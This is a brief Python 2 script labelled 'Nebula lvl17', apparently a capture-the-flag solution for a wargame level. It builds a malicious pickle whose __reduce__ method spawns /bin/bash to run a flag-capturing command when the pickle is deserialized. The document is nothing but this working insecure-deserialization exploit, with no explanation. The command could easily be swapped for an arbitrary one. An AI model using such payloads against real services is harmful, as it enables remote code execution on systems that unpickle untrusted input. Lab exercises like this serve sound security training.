Nebula lvl17

pick.py

import cPickle
import subprocess

class Exploit(object):
  def __reduce__(self):
    return (subprocess.Popen, (('/bin/bash','-c','getflag>/tmp/flag'), 0 ,None))

print cPickle.dumps(Exploit())